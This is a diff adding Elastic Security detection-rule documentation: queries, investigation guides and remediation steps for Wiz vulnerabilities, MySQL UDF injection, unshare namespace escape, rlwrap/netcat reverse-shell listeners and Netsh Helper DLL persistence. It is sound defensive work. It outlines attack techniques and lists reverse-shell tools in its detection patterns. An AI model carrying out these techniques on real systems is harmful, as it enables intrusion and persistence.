every*: 5m + +*Searches indices from*: now-24h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/wiz#vulnerability + +*Tags*: + +* Use Case: Vulnerability +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Data Source: Wiz +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: ES|QL +* Platform: Wiz +* Domain: Cloud + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple Vulnerabilities by Asset via Wiz* + + +This alert identifies assets with an elevated number of vulnerabilities reported by Wiz, potentially indicating weak security posture, missed patching, or active exposure. The rule highlights assets with a high volume of distinct vulnerabilities, the presence of exploitable vulnerabilities, or a combination of multiple severities, helping prioritize assets that pose increased risk. + + +*Possible investigation steps* + + +- Review the affected asset details using `wiz.vulnerability.vulnerable_asset.name` and `wiz.vulnerability.vulnerable_asset.id` to confirm asset ownership, criticality, and exposure (e.g., internet-facing, production). +- Examine the list of detected vulnerabilities using `Esql.vuln_id_values` to identify known high-risk or widely exploited CVEs. +- Assess vulnerability severity distribution via `Esql.vuln_severity_values`, focusing on assets with multiple severity levels or repeated high/critical findings. +- Determine whether any vulnerabilities have known exploits by validating `wiz.vulnerability.has_exploit`, prioritizing those assets for immediate remediation. +- Cross-check recent patching, configuration changes, or deployment activity on the asset to identify potential gaps or misconfigurations. + + +*False positive analysis* + + +- Assets undergoing initial onboarding, scanning expansion, or configuration changes may temporarily report a high volume of findings. +- Vulnerability aggregation may include informational or low-impact findings that inflate counts without representing immediate risk. +- Duplicate or closely related vulnerabilities affecting shared packages or libraries may appear as multiple findings for the same root cause. +- Test, lab, or non-production assets may legitimately tolerate higher vulnerability counts depending on risk acceptance. + + +*Response and remediation* + + +- Prioritize remediation for assets with exploitable vulnerabilities or multiple high/critical severity findings. +- Apply missing patches, updates, or configuration fixes according to asset criticality and exposure. +- Implement compensating controls (e.g., network segmentation, access restrictions) if immediate patching is not feasible. +- Validate remediation by re-scanning the asset in Wiz to confirm vulnerability reduction. +- Review vulnerability management processes to prevent recurrence, including patch SLAs, asset ownership, and exposure monitoring. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-wiz.vulnerability-* + +| WHERE data_stream.dataset == "wiz.vulnerability" and event.category == "vulnerability" and + wiz.vulnerability.vulnerable_asset.name is not null and + wiz.vulnerability.vulnerable_asset.id is not null +| stats Esql.count_distinct_vuln_id = COUNT_DISTINCT(wiz.vulnerability.id), + Esql.count_distinct_vuln_severity = COUNT_DISTINCT(wiz.vulnerability.cvss_severity), + Esql.count_has_exploit = COUNT(wiz.vulnerability.has_exploit), + Esql.vuln_id_values = VALUES(wiz.vulnerability.id), + Esql.vuln_severity_values = VALUES(wiz.vulnerability.cvss_severity) by wiz.vulnerability.vulnerable_asset.name, wiz.vulnerability.vulnerable_asset.id +| eval concat_vuln_severity_values = MV_CONCAT(Esql.vuln_severity_values, ",") +| where Esql.count_distinct_vuln_id >= 10 or + (Esql.count_has_exploit >= 1 and Esql.count_distinct_vuln_id >= 3) or + (concat_vuln_severity_values like "*High*" and Esql.count_distinct_vuln_id >= 3) or + (concat_vuln_severity_values like "*Critical*" and Esql.count_distinct_vuln_id >= 3) +| Keep wiz.vulnerability.vulnerable_asset.name, wiz.vulnerability.vulnerable_asset.id, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-my-first-rule.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-my-first-rule.asciidoc new file mode 100644 index 0000000000..240e218a21 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-my-first-rule.asciidoc @@ -0,0 +1,106 @@ +[[prebuilt-rule-8-19-34-my-first-rule]] +=== My First Rule + +This rule helps you test and practice using alerts with Elastic Security as you get set up. It’s not a sign of threat activity. + +*Rule type*: threshold + +*Rule indices*: + +* auditbeat-* +* filebeat-* +* logs-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 30m + +*Searches indices from*: now-35m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-rules.html + +*Tags*: + +* Use Case: Guided Onboarding +* Resources: Investigation Guide +* Rule Type: Threshold +* Domain: Endpoint + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating My First Rule* + +Elastic Security leverages event data to monitor and alert on potential security incidents. The "My First Rule" is a foundational rule designed for onboarding, focusing on event data without indicating a specific threat. Adversaries might exploit event logging to obscure their tracks or trigger false alerts. This rule helps analysts familiarize themselves with event-based alerts, ensuring they can identify and respond to genuine threats effectively. + + +*Possible investigation steps* + + +- Review the event data associated with the alert to understand the context and source of the event.kind:event. +- Check the timestamp of the event to determine when the activity occurred and correlate it with other events around the same time. +- Identify the host or user associated with the event to assess if there is any unusual or unauthorized activity. +- Examine related logs or events from the same source to identify any patterns or anomalies that could indicate suspicious behavior. +- Consult with team members or use internal resources to determine if the event is part of normal operations or if it requires further investigation. + + +*False positive analysis* + + +- Routine system events can trigger alerts, as the rule monitors all event data without filtering for specific threats. +- Identify and document common non-threatening events that frequently trigger alerts, such as regular system updates or scheduled tasks. +- Use exceptions to exclude these documented non-threatening events from triggering alerts, reducing noise and focusing on genuine threats. +- Regularly review and update the list of exceptions to ensure it remains relevant and does not inadvertently exclude new potential threats. +- Collaborate with IT and operations teams to understand normal event patterns and adjust the rule's exceptions accordingly. + + +*Response and remediation* + + +- Verify the legitimacy of the event by cross-referencing with known benign activities or scheduled tasks to rule out false positives. +- Contain any potential threat by isolating affected systems or accounts if suspicious activity is confirmed, preventing further unauthorized access or damage. +- Remediate by reviewing and adjusting logging configurations to ensure accurate event capture and reduce the risk of adversaries exploiting logging mechanisms. +- Escalate the incident to the appropriate security team or management if the event correlates with other suspicious activities or if it indicates a potential breach. +- Enhance detection capabilities by updating alerting rules to include additional context or indicators observed during the investigation, ensuring better identification of similar threats in the future. + +This is a test alert. + +This alert does not show threat activity. Elastic created this alert to help you understand how alerts work. + +For normal rules, the Investigation Guide will help analysts investigate alerts. + +This alert will show once every 24 hours for each host. It is safe to disable this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:event + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mysql-user-defined-function-injection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mysql-user-defined-function-injection.asciidoc new file mode 100644 index 0000000000..299ef6adbd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mysql-user-defined-function-injection.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-34-mysql-user-defined-function-injection]] +=== MySQL User-Defined Function Injection + +Identifies MySQL statements that create a user-defined function backed by a shared library. Adversaries with sufficient database privileges can place a malicious library in the MySQL plugin directory and register it with "CREATE FUNCTION ... SONAME", establishing a database-resident primitive for operating-system command execution. + +*Rule type*: eql + +*Rule indices*: + +* logs-network_traffic.mysql-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html +* https://attack.mitre.org/techniques/T1505/001/ + +*Tags*: + +* Domain: Network +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Event Correlation (EQL) + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating MySQL User-Defined Function Injection* + + +MySQL can load native user-defined functions from shared libraries. Attackers who obtain the `FILE` privilege and write access to the plugin directory can write a malicious `.so` or `.dll`, register it with `CREATE FUNCTION ... SONAME`, and invoke operating-system commands as the MySQL service account. + + +*Possible investigation steps* + + +- Review `client.ip`, `server.ip`, `network.community_id`, `network_traffic.mysql.query`, `network_traffic.mysql.path`, and any response error fields. +- Extract the function and library names and verify whether they belong to an approved MySQL extension. +- Search prior queries on the same connection for `INTO DUMPFILE`, `INTO OUTFILE`, `LOAD_FILE`, plugin-directory discovery, or hexadecimal payload construction. +- On the database host, inspect the MySQL plugin directory for newly created `.so`, `.dll`, or other unexpected files. +- Correlate with child processes spawned by `mysqld` and with outbound connections from the database host. + + +*False positive analysis* + + +- Approved native UDF installation is uncommon but legitimate. Confirm the package source and change record. +- Do not exclude all DBA clients permanently; a compromised DBA workstation can perform the same operation. + + +*Response and remediation* + + +- Terminate unauthorized database sessions and isolate the database host if command execution is suspected. +- Remove the malicious function and library only after preserving evidence. +- Rotate database credentials, review grants containing `FILE`, and restrict writes to the plugin directory. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic Network Packet Capture integration with the MySQL protocol analyzer enabled and +cleartext visibility into MySQL query traffic. TLS-encrypted sessions and incomplete or asymmetric capture can hide +query text. Use MySQL audit logs and endpoint telemetry for authoritative user attribution and proof of library +creation or command execution. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "network_traffic.mysql" and + network_traffic.mysql.query like~ "*create*function*soname*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: SQL Stored Procedures +** ID: T1505.001 +** Reference URL: https://attack.mitre.org/techniques/T1505/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-namespace-manipulation-using-unshare.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-namespace-manipulation-using-unshare.asciidoc new file mode 100644 index 0000000000..e6e33ee59c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-namespace-manipulation-using-unshare.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-namespace-manipulation-using-unshare]] +=== Namespace Manipulation Using Unshare + +Identifies suspicious usage of unshare to manipulate system namespaces. Unshare can be utilized to escalate privileges or escape container security boundaries. Threat actors have utilized this binary to allow themselves to escape to the host and access other resources or escalate privileges. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://man7.org/linux/man-pages/man1/unshare.1.html +* https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 118 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Namespace Manipulation Using Unshare* + + +The `unshare` command in Linux is used to create new namespaces, isolating processes from the rest of the system. This isolation is crucial for containerization and security. However, attackers can exploit `unshare` to break out of containers or elevate privileges by creating namespaces that bypass security controls. The detection rule identifies suspicious `unshare` executions by monitoring process starts, filtering out benign parent processes, and focusing on unusual usage patterns, thus highlighting potential misuse. + + +*Possible investigation steps* + + +- Review the process tree to understand the context of the unshare execution, focusing on the parent process and any child processes spawned by unshare. +- Investigate the user account associated with the unshare execution to determine if it is a legitimate user or potentially compromised. +- Examine the command-line arguments used with unshare to identify any unusual or suspicious options that may indicate an attempt to bypass security controls. +- Check for any recent changes or anomalies in the system logs around the time of the unshare execution to identify potential indicators of compromise or privilege escalation attempts. +- Correlate the unshare event with other security alerts or logs to determine if it is part of a larger attack pattern or campaign. + + +*False positive analysis* + + +- System management tools like udevadm and systemd-udevd may invoke unshare as part of their normal operations. These should be excluded by ensuring the rule filters out processes with these as parent executables. +- Snap package management can trigger unshare during its operations. Exclude processes where the arguments include /usr/bin/snap to prevent unnecessary alerts. +- Java applications might occasionally use unshare for legitimate purposes. Exclude processes with java as the parent name to reduce false positives. +- Custom scripts or administrative tasks that use unshare for legitimate namespace management should be reviewed and, if deemed safe, added to the exclusion list to prevent repeated alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further unauthorized access or lateral movement within the network. +- Terminate any suspicious processes associated with the `unshare` command that do not have legitimate parent processes or arguments, as identified in the detection query. +- Conduct a thorough review of system logs and process trees to identify any additional unauthorized or suspicious activities that may have occurred in conjunction with the `unshare` execution. +- Revoke any unauthorized access or privileges that may have been granted as a result of the namespace manipulation, ensuring that all user and process permissions are appropriately restricted. +- Restore the affected system from a known good backup if any unauthorized changes or damage to the system integrity are detected. +- Implement additional monitoring and alerting for unusual `unshare` usage patterns to enhance detection capabilities and prevent future occurrences. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "executed") and +process.name == "unshare" and not ( + ?process.parent.executable like ("/usr/bin/udevadm", "*/lib/systemd/systemd-udevd", "/usr/bin/unshare") or + ?process.args == "/usr/bin/snap" and not ?process.parent.name in ("zz-proxmox-boot", "java") or + ?process.parent.args like ( + "/etc/kernel/postinst.d/zz-proxmox-boot", "/opt/openssh/sbin/sshd", "/usr/sbin/sshd", + "/snap/*", "/home/*/.local/share/JetBrains/Toolbox/*", "/var/tmp/foreman-ssh-cmd-*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-netcat-listener-established-via-rlwrap.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-netcat-listener-established-via-rlwrap.asciidoc new file mode 100644 index 0000000000..324143bcf6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-netcat-listener-established-via-rlwrap.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-netcat-listener-established-via-rlwrap]] +=== Netcat Listener Established via rlwrap + +Monitors for the execution of a netcat listener via rlwrap. rlwrap is a 'readline wrapper', a small utility that uses the GNU Readline library to allow the editing of keyboard input for any command. This utility can be used in conjunction with netcat to gain a more stable reverse shell. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Netcat Listener Established via rlwrap* + + +Netcat, a versatile networking tool, can establish connections for data transfer or remote shell access. When combined with rlwrap, which enhances command-line input, it can create a more stable reverse shell environment. Adversaries exploit this to maintain persistent access. The detection rule identifies such misuse by monitoring rlwrap's execution with netcat-related arguments, signaling potential unauthorized activity. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of rlwrap with netcat-related arguments by examining the process.name and process.args fields. +- Check the process start time and correlate it with any known scheduled tasks or user activity to determine if the execution was expected or authorized. +- Investigate the source IP address and port used in the netcat connection to identify potential external connections or data exfiltration attempts. +- Analyze the user account associated with the process execution to verify if the account has a history of similar activities or if it has been compromised. +- Examine any related network traffic logs to identify unusual patterns or connections that coincide with the alert, focusing on the host where the process was executed. +- Look for any additional processes spawned by the netcat listener to detect further malicious activity or persistence mechanisms. + + +*False positive analysis* + + +- Development and testing environments may frequently use rlwrap with netcat for legitimate purposes, such as testing network applications or scripts. To manage this, create exceptions for specific user accounts or IP addresses known to be involved in development activities. +- System administrators might use rlwrap with netcat for troubleshooting or network diagnostics. Identify and exclude these activities by setting up rules that recognize the specific command patterns or user roles associated with administrative tasks. +- Automated scripts or cron jobs that utilize rlwrap and netcat for routine maintenance or monitoring can trigger false positives. Review and whitelist these scripts by their unique process identifiers or command structures to prevent unnecessary alerts. +- Educational or training environments where rlwrap and netcat are used for learning purposes can generate alerts. Implement exceptions based on the environment's network segment or user group to reduce noise from these benign activities. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate the rlwrap and netcat processes on the affected host to disrupt the reverse shell connection. +- Conduct a forensic analysis of the affected system to identify any additional malicious activities or persistence mechanisms. +- Review and secure any compromised accounts or credentials that may have been used or accessed during the incident. +- Apply security patches and updates to the affected system to mitigate any exploited vulnerabilities. +- Enhance monitoring and logging on the affected host and network to detect similar activities in the future. +- Report the incident to the appropriate internal security team or external authorities if required, following organizational protocols. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and + process.name == "rlwrap" and process.args in ("nc", "ncat", "netcat", "nc.openbsd", "socat") and + process.args : "*l*" and process.args_count >= 4 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-netsh-helper-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-netsh-helper-dll.asciidoc new file mode 100644 index 0000000000..ae2bf6e4c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-netsh-helper-dll.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-netsh-helper-dll]] +=== Netsh Helper DLL + +Identifies the addition of a Netsh Helper DLL, netsh.exe supports the addition of these DLLs to extend its functionality. Attackers may abuse this mechanism to execute malicious payloads every time the utility is executed, which can be done by administrators or a scheduled task. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Netsh Helper DLL* + + +Netsh, a command-line utility in Windows, allows for network configuration and diagnostics. It supports extensibility through Helper DLLs, which can be added to enhance its capabilities. However, attackers can exploit this by adding malicious DLLs, ensuring their code runs whenever netsh is executed. The detection rule monitors registry changes related to netsh DLLs, flagging unauthorized modifications that may indicate persistence tactics. + + +*Possible investigation steps* + + +- Review the registry path specified in the alert to confirm the presence of any unauthorized or suspicious DLLs under "HKLM\Software\Microsoft\netsh\". +- Check the timestamp of the registry change event to determine when the modification occurred and correlate it with any other suspicious activities or events on the system. +- Investigate the origin of the DLL file by examining its properties, such as the file path, creation date, and digital signature, to assess its legitimacy. +- Analyze recent user activity and scheduled tasks to identify any potential execution of netsh.exe that could have triggered the malicious DLL. +- Cross-reference the alert with other security logs and alerts from data sources like Microsoft Defender XDR or Sysmon to gather additional context and identify any related threats or indicators of compromise. + + +*False positive analysis* + + +- Legitimate software installations or updates may add or modify Netsh Helper DLLs, triggering the detection rule. Users should verify if recent installations or updates coincide with the registry changes. +- Network management tools or scripts used by IT departments might legitimately extend netsh functionality. Identify and document these tools to create exceptions in the detection rule. +- Scheduled tasks or administrative scripts that configure network settings could cause expected changes. Review scheduled tasks and scripts to ensure they are authorized and adjust the rule to exclude these known activities. +- Security software or network monitoring solutions may interact with netsh for legitimate purposes. Confirm with the software vendor if their product modifies netsh settings and consider excluding these changes from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of the malicious DLL and potential lateral movement. +- Terminate any suspicious processes associated with netsh.exe to halt the execution of the malicious payload. +- Remove the unauthorized Netsh Helper DLL entry from the registry path identified in the alert to eliminate the persistence mechanism. +- Conduct a thorough scan of the affected system using an updated antivirus or endpoint detection and response (EDR) tool to identify and remove any additional malicious files or artifacts. +- Review and restore any altered system configurations to their original state to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for registry changes related to Netsh Helper DLLs to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : ( + "HKLM\\Software\\Microsoft\\netsh\\*", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\netsh\\*", + "MACHINE\\Software\\Microsoft\\netsh\\*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Netsh Helper DLL +** ID: T1546.007 +** Reference URL: https://attack.mitre.org/techniques/T1546/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-netsupport-manager-execution-from-an-unusual-path.asciidoc 